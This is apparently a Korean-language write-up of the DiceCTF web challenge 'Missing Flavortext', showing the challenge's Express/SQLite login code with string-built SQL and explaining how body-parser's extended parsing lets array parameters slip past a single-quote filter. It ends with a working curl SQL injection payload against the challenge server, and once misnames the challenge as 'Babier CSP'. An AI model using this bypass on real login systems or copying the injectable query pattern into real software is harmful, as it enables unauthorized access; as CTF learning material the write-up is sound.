[DiceCTF] web/Missing Flavortext
[DiceCTF]의 web/Babier CSP 문제를 Review 해보도록 하겠다.
직접 푼 문제는 아니고 대회 종료 후 writeup을 보면 풀어본 문제다.
로그인 기능을 구현한 웹페이지가 있었다.
아래는 순서대로 이페이지의 소스코드와 index.js의 소스 코드이다.
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<div>
<h1>Login</h1>
<form method="POST" action="/login">
<label for="username">Username</label>
<input name="username" type="text" id="username"/>
<label for="username">Password</label>
<input name="password" type="password" id="password"/>
<input type="submit" value="Submit"/>
</form>
</div>
</body>
</html>
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')
// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);
// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));
// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}
// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });
// incorrect login
return res.redirect('/');
});
app.listen(3000);
index.js 소스코드 리딩을 통해 correct Login을 수행하여 flag.html을 얻는게 우리 목표인 것을 확인하였다.
소스코드를 리딩하기 전에 간단한 SQL injection들을 시도하여 원래 페이지로 리다이렉트 되는 것을 확인 할 수 있었고,
이는 index.js 코드에도 설정되어 있었다.
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
app.post에서 '가 통제되고 있는 것을 확인 할 수 있다.
(추가) 문자열을 검사하여 싱글쿼터의 존재 유무를 검사한다.
index.js 코드를 다시 보니 아래와 코드가 보였다.
app.use(bodyParser.urlencoded({ extended: true }));
bodyParser.urlencoded({ }));
이는 중첩된 객체표현을 허락할지 말지 정할 때 사용된다.
이때 빈칸에 코드와 같이 extended: true가 기입되면 객체 안에 객체가 들어가는 걸 허용하게 된다.
qs library와 querystring library, 설정에 따라 사용하는 라이브러리가 달라지는데 더 자세한 점은 아래 stackoverflow를 참고하기 바란다.
stackoverflow.com/questions/29960764/what-does-extended-mean-in-express-4-0/45690436#45690436
우리는 'qs를 사용하여 쿼리 분석이 이루어 진다. qs는 쿼리 문자열에서 중첩 된 객체를 만든다' 라는 사실을 알 수 있다.
대략 이런식?
username[]='aaaa'&password[]='aaaa'
(추가)이게 문자열이 아니라 객체로 인식이 되어 버려서 필터링을 우회 할 수 있게 된다.
이 점을 이용해서 만들어진 페이로드는 아래와 같다.
curl -XPOST "https://missing-flavortext.dicec.tf/login" -d "username=admin&password[]=' OR 1=1 -- &password[]=\'"
이 페이로드를 사용하여 request를 보내면 아래와 같이 flag가 나온다.